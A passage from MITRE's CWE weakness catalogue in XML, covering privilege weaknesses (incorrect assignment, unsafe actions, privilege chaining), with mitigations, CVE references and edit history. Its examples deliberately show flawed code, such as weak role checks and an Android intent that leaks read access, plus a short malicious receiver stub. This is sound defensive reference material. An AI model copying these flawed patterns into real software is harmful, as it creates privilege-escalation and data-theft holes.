               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-97">
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="C">
                  <xhtml:div>seteuid(0);<xhtml:br/>
                     <xhtml:i>/* do some stuff */</xhtml:i>
                     <xhtml:br/>
                     <xhtml:br/>seteuid(getuid());</xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-142">
               <Intro_Text>The following example demonstrates the weakness.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>AccessController.doPrivileged(new PrivilegedAction() {<xhtml:div style="margin-left:1em;">
                        <xhtml:div>public Object run() {<xhtml:div style="margin-left:1em;">
                                 <xhtml:i>// privileged code goes here, for example:</xhtml:i>
                                 <xhtml:br/>System.loadLibrary("awt");<xhtml:br/>return null;<xhtml:br/>
                                 <xhtml:i>// nothing to return</xhtml:i>
                                 <xhtml:br/>
                           </xhtml:div>}</xhtml:div>
                     </xhtml:div>
                  </xhtml:div>
               </Example_Code>
            </Demonstrative_Example>
            <Demonstrative_Example Demonstrative_Example_ID="DX-108">
               <Intro_Text>This application sends a special intent with a flag that allows the receiving application to read a data file for backup purposes.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>Intent intent = new Intent();<xhtml:br/>intent.setAction("com.example.BackupUserData");<xhtml:br/>intent.setData(file_uri);<xhtml:br/>intent.addFlags(FLAG_GRANT_READ_URI_PERMISSION);<xhtml:br/>sendBroadcast(intent);</xhtml:div>
               </Example_Code>
               <Example_Code Nature="Attack" Language="Java">
                  <xhtml:div>public class CallReceiver extends BroadcastReceiver {<xhtml:div style="margin-left:1em;">@Override<xhtml:br/>public void onReceive(Context context, Intent intent) {<xhtml:div style="margin-left:1em;">Uri userData = intent.getData();<xhtml:br/>stealUserData(userData);</xhtml:div>}</xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>Any malicious application can register to receive this intent. Because of the FLAG_GRANT_READ_URI_PERMISSION included with the intent, the malicious receiver code can read the user's data.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-1999-1193</Reference>
               <Description>untrusted user placed in unix "wheel" group</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-1999-1193</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2741</Reference>
               <Description>Product allows users to grant themselves certain rights that can be used to escalate privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2741</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2496</Reference>
               <Description>Product uses group ID of a user instead of the group, causing it to run with different privileges. This is resultant from some other unknown issue.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2496</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0274</Reference>
               <Description>Product mistakenly assigns a particular status to an entity, leading to increased privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0274</Link>
            </Observed_Example>
         </Observed_Examples>
         <Affected_Resources>
            <Affected_Resource>System Process</Affected_Resource>
         </Affected_Resources>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Incorrect Privilege Assignment</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC00-J</Entry_ID>
               <Entry_Name>Do not allow privileged blocks to leak sensitive information across a trust boundary</Entry_Name>
            </Taxonomy_Mapping>
            <Taxonomy_Mapping Taxonomy_Name="The CERT Oracle Secure Coding Standard for Java (2011)">
               <Entry_ID>SEC01-J</Entry_ID>
               <Entry_Name>Do not allow tainted variables in privileged blocks</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-76"/>
         </References>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Relationships, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2014-02-18</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Demonstrative_Examples</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Causal_Nature, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Relationships, Taxonomy_Mappings</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-10-28</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships, Time_of_Introduction</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="267" Name="Privilege Defined With Unsafe Actions" Abstraction="Base" Structure="Simple" Status="Incomplete">
         <Description>A particular privilege, role, capability, or right can be used to perform unsafe actions that were not intended, even when it is assigned to the correct entity.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="269" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>A user can access restricted functionality and/or sensitive information that may include administrative functionality and user accounts.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-127">
               <Intro_Text>This code intends to allow only Administrators to print debug information about a system.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public enum Roles {<xhtml:div style="margin-left:1em;">ADMIN,USER,GUEST</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public void printDebugInfo(User requestingUser){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if(isAuthenticated(requestingUser)){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>switch(requestingUser.role){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>case GUEST:<xhtml:div style="margin-left:1em;">System.out.println("You are not authorized to perform this command");<xhtml:br/>break;</xhtml:div>
                                       <xhtml:br/>default:<xhtml:div style="margin-left:1em;">System.out.println(currentDebugState());<xhtml:br/>break;</xhtml:div>
                                    </xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>}<xhtml:br/>else{<xhtml:div style="margin-left:1em;">System.out.println("You must be logged in to perform this command");</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>While the intention was to only allow Administrators to print the debug information, the code as written only excludes those with the role of "GUEST". Someone with the role of "ADMIN" or "USER" will be allowed access, which goes against the original intent. An attacker may be able to use this debug information to craft an attack on the system.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2002-1981</Reference>
               <Description>Roles have access to dangerous procedures (Accessible entities).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1981</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1671</Reference>
               <Description>Untrusted object/method gets access to clipboard (Accessible entities).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1671</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-2204</Reference>
               <Description>Gain privileges using functions/tags that should be restricted (Accessible entities).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-2204</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0315</Reference>
               <Description>Traceroute program allows unprivileged users to modify source address of packet (Accessible entities).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0315</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2004-0380</Reference>
               <Description>Bypass domain restrictions using a particular file that references unsafe URI schemes (Accessible entities).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2004-0380</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1154</Reference>
               <Description>Script does not restrict access to an update command, leading to resultant disk consumption and filled error logs (Accessible entities).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1154</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1145</Reference>
               <Description>"public" database user can use stored procedure to modify data controlled by the database owner (Unsafe privileged actions).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1145</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-0506</Reference>
               <Description>User with capability can prevent setuid program from dropping privileges (Unsafe privileged actions).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-0506</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-2042</Reference>
               <Description>Allows attachment to and modification of privileged processes (Unsafe privileged actions).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-2042</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2000-1212</Reference>
               <Description>User with privilege can edit raw underlying object using unprotected method (Unsafe privileged actions).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2000-1212</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1742</Reference>
               <Description>Inappropriate actions allowed by a particular role(Unsafe privileged actions).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1742</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1480</Reference>
               <Description>Untrusted entity allowed to access the system clipboard (Unsafe privileged actions).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1480</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1551</Reference>
               <Description>Extra Linux capability allows bypass of system-specified restriction (Unsafe privileged actions).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1551</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2001-1166</Reference>
               <Description>User with debugging rights can read entire process (Unsafe privileged actions).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2001-1166</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1816</Reference>
               <Description>Non-root admins can add themselves or others to the root admin group (Unsafe privileged actions).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1816</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2173</Reference>
               <Description>Users can change certain properties of objects to perform otherwise unauthorized actions (Unsafe privileged actions).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2173</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-2027</Reference>
               <Description>Certain debugging commands not restricted to just the administrator, allowing registry modification and infoleak (Unsafe privileged actions).</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-2027</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Unsafe Privilege</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <Related_Attack_Patterns>
            <Related_Attack_Pattern CAPEC_ID="58"/>
            <Related_Attack_Pattern CAPEC_ID="634"/>
            <Related_Attack_Pattern CAPEC_ID="637"/>
            <Related_Attack_Pattern CAPEC_ID="643"/>
            <Related_Attack_Pattern CAPEC_ID="648"/>
         </Related_Attack_Patterns>
         <References>
            <Reference External_Reference_ID="REF-76"/>
         </References>
         <Notes>
            <Note Type="Maintenance">
               <xhtml:p>Note: there are 2 separate sub-categories here:</xhtml:p>
               <xhtml:div style="margin-left:1em;">
                  <xhtml:div>- privilege incorrectly allows entities to perform certain actions</xhtml:div>
                  <xhtml:div>- object is incorrectly accessible to entities with a given privilege</xhtml:div>
               </xhtml:div>
            </Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Description, Maintenance_Notes, Relationships, Taxonomy_Mappings</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-11-24</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-01-03</Modification_Date>
					<Modification_Comment>updated Related_Attack_Patterns</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-02-24</Modification_Date>
					<Modification_Comment>updated Relationships</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2020-08-20</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2021-03-15</Modification_Date>
					<Modification_Comment>updated Maintenance_Notes</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
            <Previous_Entry_Name Date="2008-04-11">Unsafe Privilege</Previous_Entry_Name>
         </Content_History>
      </Weakness>
      <Weakness ID="268" Name="Privilege Chaining" Abstraction="Base" Structure="Simple" Status="Draft">
         <Description>Two distinct privileges, roles, capabilities, or rights can be combined in a way that allows an entity to perform unsafe actions that would not be allowed without that combination.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="269" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
            <Language Class="Not Language-Specific" Prevalence="Undetermined"/>
         </Applicable_Platforms>
         <Modes_Of_Introduction>
            <Introduction>
               <Phase>Architecture and Design</Phase>
            </Introduction>
            <Introduction>
               <Phase>Implementation</Phase>
               <Note>REALIZATION: This weakness is caused during implementation of an architectural security tactic.</Note>
            </Introduction>
            <Introduction>
               <Phase>Operation</Phase>
            </Introduction>
         </Modes_Of_Introduction>
         <Likelihood_Of_Exploit>High</Likelihood_Of_Exploit>
         <Common_Consequences>
            <Consequence>
               <Scope>Access Control</Scope>
               <Impact>Gain Privileges or Assume Identity</Impact>
               <Note>A user can be given or gain access rights of another user. This can give the user unauthorized access to sensitive information including the access information of another user.</Note>
            </Consequence>
         </Common_Consequences>
         <Potential_Mitigations>
            <Mitigation Mitigation_ID="MIT-49">
               <Phase>Architecture and Design</Phase>
               <Strategy>Separation of Privilege</Strategy>
               <Description>Consider following the principle of separation of privilege. Require multiple conditions to be met before permitting access to a system resource.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-1">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Description>Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.</Description>
            </Mitigation>
            <Mitigation Mitigation_ID="MIT-17">
               <Phase>Architecture and Design</Phase>
               <Phase>Operation</Phase>
               <Strategy>Environment Hardening</Strategy>
               <Description>Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.</Description>
            </Mitigation>
         </Potential_Mitigations>
         <Demonstrative_Examples>
            <Demonstrative_Example Demonstrative_Example_ID="DX-128">
               <Intro_Text>This code allows someone with the role of "ADMIN" or "OPERATOR" to reset a user's password. The role of "OPERATOR" is intended to have less privileges than an "ADMIN", but still be able to help users with small issues such as forgotten passwords.</Intro_Text>
               <Example_Code Nature="Bad" Language="Java">
                  <xhtml:div>public enum Roles {<xhtml:div style="margin-left:1em;">ADMIN,OPERATOR,USER,GUEST</xhtml:div>}<xhtml:br/>
                     <xhtml:br/>public void resetPassword(User requestingUser, User user, String password ){<xhtml:div style="margin-left:1em;">
                        <xhtml:div>if(isAuthenticated(requestingUser)){<xhtml:div style="margin-left:1em;">
                              <xhtml:div>switch(requestingUser.role){<xhtml:div style="margin-left:1em;">
                                    <xhtml:div>case GUEST:<xhtml:div style="margin-left:1em;">System.out.println("You are not authorized to perform this command");<xhtml:br/>break;</xhtml:div>
                                       <xhtml:br/>case USER:<xhtml:div style="margin-left:1em;">System.out.println("You are not authorized to perform this command");<xhtml:br/>break;</xhtml:div>
                                       <xhtml:br/>default:<xhtml:div style="margin-left:1em;">setPassword(user,password);<xhtml:br/>break;</xhtml:div>}</xhtml:div>
                                 </xhtml:div>}</xhtml:div>
                           </xhtml:div>
                           <xhtml:br/>else{<xhtml:div style="margin-left:1em;">System.out.println("You must be logged in to perform this command");</xhtml:div>}</xhtml:div>
                     </xhtml:div>}</xhtml:div>
               </Example_Code>
               <Body_Text>This code does not check the role of the user whose password is being reset. It is possible for an Operator to gain Admin privileges by resetting the password of an Admin account and taking control of that account.</Body_Text>
            </Demonstrative_Example>
         </Demonstrative_Examples>
         <Observed_Examples>
            <Observed_Example>
               <Reference>CVE-2005-1736</Reference>
               <Description>Chaining of user rights.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1736</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2002-1772</Reference>
               <Description>Gain certain rights via privilege chaining in alternate channel.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2002-1772</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2005-1973</Reference>
               <Description>Application is allowed to assign extra permissions to itself.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2005-1973</Link>
            </Observed_Example>
            <Observed_Example>
               <Reference>CVE-2003-0640</Reference>
               <Description>"operator" user can overwrite usernames and passwords to gain admin privileges.</Description>
               <Link>https://www.cve.org/CVERecord?id=CVE-2003-0640</Link>
            </Observed_Example>
         </Observed_Examples>
         <Taxonomy_Mappings>
            <Taxonomy_Mapping Taxonomy_Name="PLOVER">
               <Entry_Name>Privilege Chaining</Entry_Name>
            </Taxonomy_Mapping>
         </Taxonomy_Mappings>
         <References>
            <Reference External_Reference_ID="REF-76"/>
         </References>
         <Notes>
            <Note Type="Relationship">There is some conceptual overlap with Unsafe Privilege.</Note>
         </Notes>
         <Content_History>
            <Submission>
               <Submission_Name>PLOVER</Submission_Name>
               <Submission_Date>2006-07-19</Submission_Date>
            </Submission>
            <Modification>
               <Modification_Name>Eric Dalci</Modification_Name>
               <Modification_Organization>Cigital</Modification_Organization>
               <Modification_Date>2008-07-01</Modification_Date>
               <Modification_Comment>updated Time_of_Introduction</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2008-09-08</Modification_Date>
               <Modification_Comment>updated Relationships, Other_Notes, Relationship_Notes, Taxonomy_Mappings, Weakness_Ordinalities</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-03-10</Modification_Date>
               <Modification_Comment>updated Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2009-12-28</Modification_Date>
               <Modification_Comment>updated Other_Notes, Potential_Mitigations, Research_Gaps</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2010-06-21</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2011-06-01</Modification_Date>
               <Modification_Comment>updated Common_Consequences</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-05-11</Modification_Date>
               <Modification_Comment>updated Common_Consequences, Demonstrative_Examples, Relationships</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2012-10-30</Modification_Date>
               <Modification_Comment>updated Potential_Mitigations, References</Modification_Comment>
            </Modification>
            <Modification>
               <Modification_Name>CWE Content Team</Modification_Name>
               <Modification_Organization>MITRE</Modification_Organization>
               <Modification_Date>2017-11-08</Modification_Date>
               <Modification_Comment>updated Applicable_Platforms, Causal_Nature, Modes_of_Introduction, References, Relationships</Modification_Comment>
            </Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2019-09-19</Modification_Date>
					<Modification_Comment>updated Demonstrative_Examples</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-04-28</Modification_Date>
					<Modification_Comment>updated Research_Gaps</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2022-10-13</Modification_Date>
					<Modification_Comment>updated References</Modification_Comment>
				</Modification>
				<Modification>
					<Modification_Name>CWE Content Team</Modification_Name>
					<Modification_Organization>MITRE</Modification_Organization>
					<Modification_Date>2023-04-27</Modification_Date>
					<Modification_Comment>updated References, Relationships</Modification_Comment>
				</Modification>
         </Content_History>
      </Weakness>
      <Weakness ID="269" Name="Improper Privilege Management" Abstraction="Class" Structure="Simple" Status="Draft">
         <Description>The product does not properly assign, modify, track, or check privileges for an actor, creating an unintended sphere of control for that actor.</Description>
         <Related_Weaknesses>
            <Related_Weakness Nature="ChildOf" CWE_ID="284" View_ID="1000" Ordinal="Primary"/>
         </Related_Weaknesses>
         <Weakness_Ordinalities>
            <Weakness_Ordinality>
               <Ordinality>Primary</Ordinality>
            </Weakness_Ordinality>
         </Weakness_Ordinalities>
         <Applicable_Platforms>
